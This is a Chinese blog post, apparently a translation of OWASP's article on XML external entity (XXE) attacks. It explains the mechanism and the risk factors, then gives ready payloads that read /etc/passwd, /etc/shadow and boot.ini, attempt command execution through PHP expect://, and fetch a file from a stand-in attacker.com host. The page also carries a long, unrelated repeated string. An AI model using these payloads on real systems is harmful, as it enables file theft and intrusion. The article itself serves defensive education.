XXE(OWASP)(翻译)

10 篇文章 0 订阅
2 篇文章 0 订阅

原文

介绍

XML外部实体攻击对解析XML输入的网站的一种攻击。这种攻击在含外部实体引用的XML配置不当的XML解析器执行时发生。这种攻击i可能引起数据泄露、服务拒绝、服务端请求伪造、解析器所在的主机的端口扫描等其他系统影响。

XML 1.0标准定义了XML文件的结构。标准定义了一个概念,实体,它时某些类型的存储单元。这里有一些不同类型的实体:外部通用实体/参数解析实体,经常被简称为外部实体,它们能够访问本地或远程内容,通过声明的系统标识符。系统标识符被假设为URI,能够被XML处理器访问。XML处理器用系统标识符代表的内容来替换命名外部实体的位置。如果系统标识符包含被污染的暑假,则XML处理器会访问此被污染的数据,XML处理器可能会泄露通常不允许应用访问的机密信息。类似的攻击媒介会使用外部DTD,外部样式表,外部模式等,如果存在漏洞,则允许类似的外部资源包含样式攻击。

攻击可能包括泄露本地文件,它可能包含敏感数据,如密码或用户个人数据,通过系统标识符种的绝对或相对路径。由于攻击是在应用处理XML文件时发生的,因此攻击者可能使用此被信任的应用转到其他内部系统,可能泄露其他内部信息,通过http请求或发送CSRF攻击到任何未被保护的内部服务中。

注意,应用并不需要明确返回响应给攻击者,因为它容易受到信息泄露的影响。攻击者能够利用dns信息来提取数据,通过他们控制的DNS服务器的子域名。

风险因素

  • 解析XML文件的应用程序
  • 实体的系统标识符部分,文档类型声明(DTD)中,允许使用被污染的数据。
  • XML解析器配置为验证和处理DTD
  • XML解析器配置为解析DTD中的外部实体

举例

The examples below are from Testing for XML Injection (OWASP-DV-008).

访问可能无法返回的本地资源
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///dev/random" >]>
<foo>&xxe;</foo>
远程代码执行

如果运气好的话,php中“expect”模块被加载,我们可以获得RCE。让我们修改payload。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>
泄露/etc/passwd或其他目标文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]>
<foo>&xxe;</foo>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯智能台灯

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值